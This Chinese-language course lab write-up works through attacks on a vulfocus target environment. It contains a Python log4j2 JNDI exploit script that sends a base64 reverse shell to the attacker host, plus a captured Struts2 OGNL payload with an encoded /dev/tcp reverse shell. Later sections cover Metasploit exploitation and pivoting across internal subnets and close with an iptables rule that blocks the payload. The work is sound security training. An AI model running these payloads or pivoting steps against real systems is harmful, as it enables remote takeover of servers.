VirtualBoxVersion 7.0.10 r158379 (Qt5.15.3)Kali-Attacker:VERSION_ID="2024.2"hostname:kali-attacker.mlab
ubuntu-victim22.04.3 LTS (Jammy Jellyfish)hostname:ubuntu-victim.mlab
由于目前(2024 年 7 月)国内无法正常访问 docker 及其国内镜像
下面在 VirtualBox 的 虚拟机 中,配置使用 宿主机 的代理,以便拉取 docker 镜像
- 首先确保
虚拟机已使用NAT网卡连接到网络。
- 确保宿主机上的代理服务已经启动。
- 在
虚拟机中配置使用宿主机的代理
cat<< EOF > /etc/docker/daemon.json
{
"proxies": {
"http-proxy": "http://10.0.2.2:7890",
"https-proxy": "http://10.0.2.2:7890",
"no-proxy": "*.test.example.com,.example.org,127.0.0.0/8"
}
}
EOF
systemctl restart docker # 重启 docker 服务- 检查代理是否配置成功
docker info | grep -i proxy- 拉取镜像
docker pull vulfocus/vulfocus:latest在 VirtualBox 的 NAT 模式下的拓扑图如下:
NAT 模式下,虚拟机 被分配到的 IP 地址均为 10.0.2.15,其 网关 均为 10.0.2.2
这完全是一个 软件定义网络,而且 Virtualbox 在 NAT 模式下,除了进行传统的 NAT 服务外,还有一个 便捷功能 ——将直接访问 网关 10.0.2.2 的流量转发到 宿主机 的 localhost回环网卡 中。
安装 jq 使得 start.sh 脚本能够解析 json 文件
sudo apt update && sudo apt install jq由于 docker compose 已经默认集成到了 docker 中,这里对 start.sh 脚本第 47 行更新为 docker compose:
成功访问 web 页面
wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip # 下载
unzip JNDIExploit.v1.2.zip # 解压为方便分辨,这里攻击者的 hostname 已经配置为 kali-attacker.mlab
下面在 kali-attacker.mlab 上运行 JNDIExploit:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali-attacker.mlab # 运行nc -l -p 7777由于直接在 vulfocus 中启动 漏洞环境镜像 默认 30 分钟后销毁,且由于其随机端口转发,不方便调试。故这里使用 docker-compose 直接启动 log4j 漏洞环境。
docker image: vulfocus/log4j2-rce-2021-12-09:1
services:
log4j:
image: "vulfocus/log4j2-rce-2021-12-09:1"
ports:
- "8080:8080" # 固定端口转发"""log4j2 JNDI 注入"""
import base64
import urllib.parse
import requests
ATTACKER_HOSTNAME = "kali-attacker.mlab"
VICTIM_HOSTNAME = "ubuntu-victim.mlab"
shell_redirection = f"bash -i >& /dev/tcp/{ATTACKER_HOSTNAME}/7777 0>&1"
shell_redirection_bytes = shell_redirection.encode("ascii")
shell_redirection_b64 = base64.b64encode(shell_redirection_bytes).decode("ascii")
print(f"Encoded string: {shell_redirection_b64}")
params = {
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjIxNC83Nzc3IDA+JjE=}",
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjE2Mi83Nzc3IDA%2BJjE%3d}",
"payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/"
+ urllib.parse.quote_plus(shell_redirection_b64)
+ "}",
}
response = requests.get(
"http://ubuntu-victim.mlab:8080/hello",
params=params,
verify=False,
timeout=10,
)
print(response.request.url)
print(response.text)在使用以下的 python 脚本验证 log4j2 漏洞时,遇到了下面的问题:
"""log4j2 JNDI 注入"""
import base64
import urllib.parse
import requests
# ATTACKER_HOSTNAME = "kali-attacker.mlab"
ATTACKER_HOSTNAME = "192.168.56.162"
VICTIM_HOSTNAME = "ubuntu-victim.mlab"
shell_redirection = f"bash -i >& /dev/tcp/{ATTACKER_HOSTNAME}/7777 0>&1"
shell_redirection_bytes = shell_redirection.encode("ascii")
shell_redirection_b64 = base64.b64encode(shell_redirection_bytes).decode("ascii")
print(f"Encoded string: {shell_redirection_b64}")
params = {
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjIxNC83Nzc3IDA+JjE=}",
# "payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjE2Mi83Nzc3IDA%2BJjE%3d}",
"payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/"
# + urllib.parse.quote_plus(shell_redirection_b64)
+ shell_redirection_b64
+ "}",
}
response = requests.get(
"http://ubuntu-victim.mlab:8080/hello",
params=params,
verify=False,
timeout=10,
)
print(response.request.url)
print(response.text)如上图所示,base64 编码后的字符串中含有 + 号,而 + 号在 url 编码 中表示 空格
但是 python requests 包会自动将 payload 自动进行 url 编码,如上图所示,+ 号被成功替换为了 %2B
但是,在 攻击者(Kali-Attacker) 接收到 被攻击服务器端(ubuntu-victim) 的,其 + 被替换成了 空格——从而导致 base64 解码失败
使用 wireshark 抓包排查通信过程:
可以看到 攻击者(Kali-Attacker) 在接收时,+ 就已经被错误替换成了 空格(错误 base64 形式)
故可以初步推断 被攻击服务器端(ubuntu-victim) 在接收到 url 时,对于 parameters 部分后 进行了 2 次 url 解码 导致了上述问题
对于上述表现,由于笔者没有查看 被攻击服务器端(ubuntu-victim) 对于 url 的解析代码,故无法给出准确的 进行了 2 次 url 解码 的原因。同时,查看 jndi:ldap 对于特殊字符的转义处理,也与 url 编码 标准不同——其不会将 + 解码为 空格(参见 Special Characters)
但是出于解决问题的目的,我们的 exp 代码可以进行 二次 url 编码,从而解决上述问题。编码 部分的代码如下:
params = {
"payload": "${jndi:ldap://kali-attacker.mlab:1389/TomcatBypass/Command/Base64/"
+ urllib.parse.quote_plus(shell_redirection_b64) # 第一次 url 编码
+ "}",
}
response = requests.get(
"http://ubuntu-victim.mlab:8080/hello",
params=params, # requests 自动会进行第二次 url 编码
verify=False,
timeout=10,
)再在传输层面进行抓包验证:
再以 + 号为例,演示其编解码过程
攻击端(Kali-Attacker):+ -> %2B -> %252B
受害端(ubuntu-victim):%252B -> %2B -> +
直接导入 DMZ.zip 到 vulfocus 会显示文件上传失败:
但是查看 vulfocus 日志,可以看到 POST 返回状态码为 200:
猜测是由于场景中的 容器镜像版本更新 或者 vulfocus 本身没有注重版本兼容性导致的问题
于是干脆自己照着图手搓了示例中的攻防场景:
导出 DMZ_topology.zip 当前(2024 年 7 月)可用
无法直接启动 DMZ 靶场,前端页面显示 服务器内部错误:
查看 vulfocus 日志发现 容器启动失败:
使用 docker container ls -a 检查容器状态,发现 vulshare/nginx-php-flag 容器启动后错误退出:
查看 nginx 容器日志:
顺藤摸瓜检查 docker layer:
怀疑由于启动命令 2.sh 导致的错误,查看 2.sh 脚本:
最后竟然发现是 dnslog.cn 无法进行域名解析 导致的错误
至于为什么 dnslog.cn 无法进行域名解析,黄老师在上课前恰好已经做了十足的讲解了(但是没有想象到在这个容器中出现)。
不由地猜测此镜像作者预留这行代码的初衷,而且还是使用的 && 而不是 ; 进行连接——可能是为了在 dnslog.cn 统计此镜像的使用情况——但是还有一种情况是——这会暴露此用户的 DNS 服务器公网 IP 地址——如果此容器:
- 运行在一个有
公网 IP的服务器上(没有经过NAT及防火墙),那么此用户的公网 IP就会被dnslog.cn记录下来。且在容器运行过程中,其ping操作一直都会进行 - 容器端口被映射到了公网的网卡上
- 容器 vulshare/nginx-php-flag 的漏洞利用非常简单,而且可以拿到容器的
root权限 - 如果该作者可以获取 dnslog.cn 网站中对于 [aa.25qcpp.dnslog.cn] 的
ICMP日志,那么还可以获取到此容器的公网 IP地址
攻击者可以据此确定该 IP 中正在运行 靶场容器——从而对此脆弱容器发起攻击——那么原本的 靶场容器 就成 真肉鸡 了!
但是即使在 vulfocus 这样一个即使是 开源 的 漏洞集成平台,官方 提供的镜像中竟然也存在着这样一个不大不小的可以称为为 “后门” 的命令——让人感慨!
故下面在 vulshare/nginx-php-flag 镜像的基础上,docker build 一波:
FROM vulshare/nginx-php-flag
RUN echo "#!/bin/bash\n\
/etc/init.d/nginx start && /etc/init.d/php7.2-fpm start\n\
while true; do sleep 1000; done" > /2.sh导入我们新构建的 nginx-php-flag 镜像:
再更新 DMZ 靶场:
DMZ 靶场容器启动成功:
tmux 后台挂起 tcpdump 抓包:
container_name="ebee1d978a00"
docker run --rm --net=container:${container_name} -v ${PWD}/tcpdump/${container_name}:/tcpdump kaazing/tcpdump在 msfdb init 后,msfconsole 无法连接 PostgreSQL 数据库,删除 msf 数据库(msfdb delete)后重新初始化依然报错
尝试手动连接 postgreSQL 数据库,并根据错误信息更新 collection number
但是 Metasploit 依旧无法连接 PostgreSQL 数据库
找了一个最新的的 kali prebuilt 镜像 kali-linux-2024.2-virtualbox-amd64,发现其能够正常连接 PostgreSQL 数据库
通过检查 TCP 端口,发现在之前的 kali-attacker 中,PostgreSQL 服务启动了两个版本。从 apt policy 中也可以看到:
全新安装:
原 kali-attacker:
故准备删除旧版本的 PostgreSQL 15,检查其 rdepends 反向依赖:
确认删除无影响后,purge PostgreSQL 15:
再次尝试 msfdb init 发现端口未开放:
由于之前同时运行 postgress 15 和 postgress 16,故 postgress 16 的端口号被 postgress 16 占用 5432 端口后使用 5433 端口,故更改 postgress 16 的端口号:
vim /etc/postgresql/16/main/postgresql.conf 更改 port 为 5432:
systemctl restart postgresql # 重启服务
msfdb delete # 删除原数据库
msfdb init # 重新初始化
msfconsole # 进入 Metasploit现在成功连接 PostgreSQL 数据库:
回想起自己当前使用的虚拟机是一路从 kali-linux-2023.3-virtualbox-amd64 滚动更新 到现在 2024.2,一年时间!
滚动更新一时爽,版本冲突火葬场
信息收集——>nmap 端口扫描并尝试识别服务:
db_nmap -p 12862 192.168.56.175 -n -A使用 Metasploit 的 exploit/multi/http/struts2_multi_eval_ognl 模块:
use exploit/multi/http/struts2_multi_eval_ognl
set payload payload/cmd/unix/reverse_bash # 设置 payload 为 bash 反弹 shelloptions 配置如下:
成功获取 shell 后,查看 flag:
如果直接使用老师示例中的命令 run autoroute -s 192.170.84.0/24 会显示 OptionValidateError The following options failed to validate:
以下方法验证有效:
use multi/manage/autorouteoptions 配置如下:
检查路由表:
use scanner/portscan/tcp详细配置如下:
发现服务:
use multi/misc/weblogic_deserialize_asyncresponseservice成功获取 192.169.84.2 主机 shell:
获取 flag:
同理,可以打下 192.169.84.3 & 192.169.84.4 并获取 flag:
查看当前所有肉鸡的路由表以尝试横向移动:
sessions -c 'ip route'发现在 session 14 (192.169.84.3) 中存在未知网段 192.169.86.0/24
更新当前网络路由表:
use multi/manage/autoroute
set SUBNET 192.169.86.0
set SESSION 16配置如下:
更新后的路由表如下:
use scanner/portscan/tcp配置如下:
发现 192.169.86.3:80 中有服务:
使用代理进行访问:
curl 192.169.86.3:80 -x socks5://127.0.0.1:1080; echo ''已经在非常明显地提示我们这是一个 命令执行漏洞 了:
curl "192.169.86.3:80/index.php?cmd=ls+/tmp" -x socks5://127.0.0.1:1080; echo ''tcpdump 抓包结果:tcpdump.pcap
由于直接使用 TCP 协议进行 shell 重定向(直接明文通信),故可以直接查看到入侵后肉鸡与攻击者之间的所有通信内容:
使用过滤条件 ip.addr == 192.168.56.162 and tcp.port == 4444 以其中一段 shell 通信为例:
可以看到在攻击过程中,HTTP 请求中包含大量的包含攻击性的 payload:
探测服务时使用了大量的 ICMP 包:
釜底抽薪,对于门户网站服务器存在的 CVE-2020-17530 漏洞,NIST 对于 Forced OGNL evaluation 的修复建议均为更新 Struts 到 2.5.26 或更高的版本
这里不使用更新 Struts 包的方式,而是使用 热补丁 的方式进行修复缓解漏洞利用
Struts 框架(JAVA)中在处理 OGNL 表达式(另一种语言)时,当此表达式可以来自于用户输入时,攻击者可以构造恶意的 OGNL 表达式,从而执行任意代码
查看 metasploit 对于此漏洞的 exploit 模块中的 关键代码
可以看见关键的 payload 如下:
从我们 tcpdump 中抓取的包中,也可以看到相应的关键 payload:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec({"bash -c {echo,YmFzaCAtYyAnMDwmMzMtO2V4ZWMgMzM8Pi9kZXYvdGNwLzE5Mi4xNjguNTYuMTYyLzQ0NDQ7c2ggPCYzMyA+JjMzIDI+JjMzJw==}|{base64,-d}|bash"}))}
上面的 payload 中,要实现 任意代码执行 最关键同时同时也是最不可避免的部分如下:
(#execute.exec({"bash -c {echo,YmFzaCAtYyAnMDwmMzMtO2V4ZWMgMzM8Pi9kZXYvdGNwLzE5Mi4xNjguNTYuMTYyLzQ0NDQ7c2ggPCYzMyA+JjMzIDI+JjMzJw==}|{base64,-d}|bash"}))
execute.exec 是非常明显的 命令执行 恶意代码
最开始想使用类似于 WAF 的 反向代理 进行 payload 的检测。但是由于当前是使用 HTTP 协议进行 明文通信,故这里直接使用 iptables 进行 恶意负载 的检测与拦截
echo '未添加任何 iptables 规则前'
iptables -D DOCKER-USER -p tcp -m string --string 'execute.exec' --algo bm -j DROP
echo '添加 iptables 规则后'
iptables -I DOCKER-USER -p tcp -m string --string 'execute.exec' --algo bm -j DROP # DROP 含有 'execute.exec' 的 TCP 包在写 iptables 规则时,想当然地 认为应该写在 Filter 表的 INPUT 链上:
iptables -I INPUT -p tcp -m string --string 'execute.exec' --algo bm -j DROP发现在应用规则后,依然无法成功拦截高危负载 execute.exec 的 TCP 包
后面才醒悟,虽然 Docker Proxy 将 容器 的端口 “暴露” 了出来,但是这些 TCP 包不是直接 INPUT 宿主机 的,而是会经过 FORWORD 到 docker 容器中——所谓软件定义网络 software-defined networking
| Tables/Chains | PREROUTING | INPUT | FORWARD | OUTPUT | POSTROUTING |
|---|---|---|---|---|---|
| (路由判断) | Y | ||||
| raw | Y | Y | |||
| (连接跟踪) | Y | Y | |||
| mangle | Y | Y | Y | Y | Y |
| nat (DNAT) | Y | Y | |||
| (路由判断) | Y | Y | |||
| filter | Y | Y | Y | ||
| security | Y | Y | Y | ||
| nat (SNAT) | Y | Y | Y |
- 收到的、目的是本机的包:
PRETOUTING->INPUT - 收到的、目的是其他主机的包:
PRETOUTING->FORWARD->POSTROUTING - 本地产生的包:
OUTPUT->POSTROUTING
从下面的实验中可以看出 iptables 规则应用在 Filter 表的 INPUT 链上的效果:
但是我们外部主机访问 DOCKER 容器需要经过 FORWORD,所以应该将规则应用在 Filter 表的 FORWARD 链上:
在 docker 路由中,则已经有专用的 DOCKER-USER chain 以供上述需求:
所以,作为最佳实践应该添加下述 iptables 规则:
iptables -D DOCKER-USER -p tcp -m string --string 'execute.exec' --algo bm -j DROP一些自认为有技术含量的工作
Virtual Box在NAT模式下,通过访问10.0.2.2的网关访问宿主机localhost网卡的特性的活用- 在
log4j2 漏洞利用失败后,通过Wireshark在传输层面的负载并结合日志逐步排查log4j2 漏洞利用过程,最后反推出是url 编解码导致的漏洞利用失败 - 逐步排查
靶场启动失败的原因,并通过Dockerfile重新构建镜像并成功启动 - 通过对比纯净安装的
Kali虚拟机与问题虚拟机的环境,解决了由于Kali滚动更新导致多版本PostgreSQL同时共存导致的Metasploit无法连接PostgreSQL数据库的问题 - 活用
Metasploit的autoroute模块进行灵活路由 - 对于
iptables的调试,理解docker网络在宿主机中的路由






























































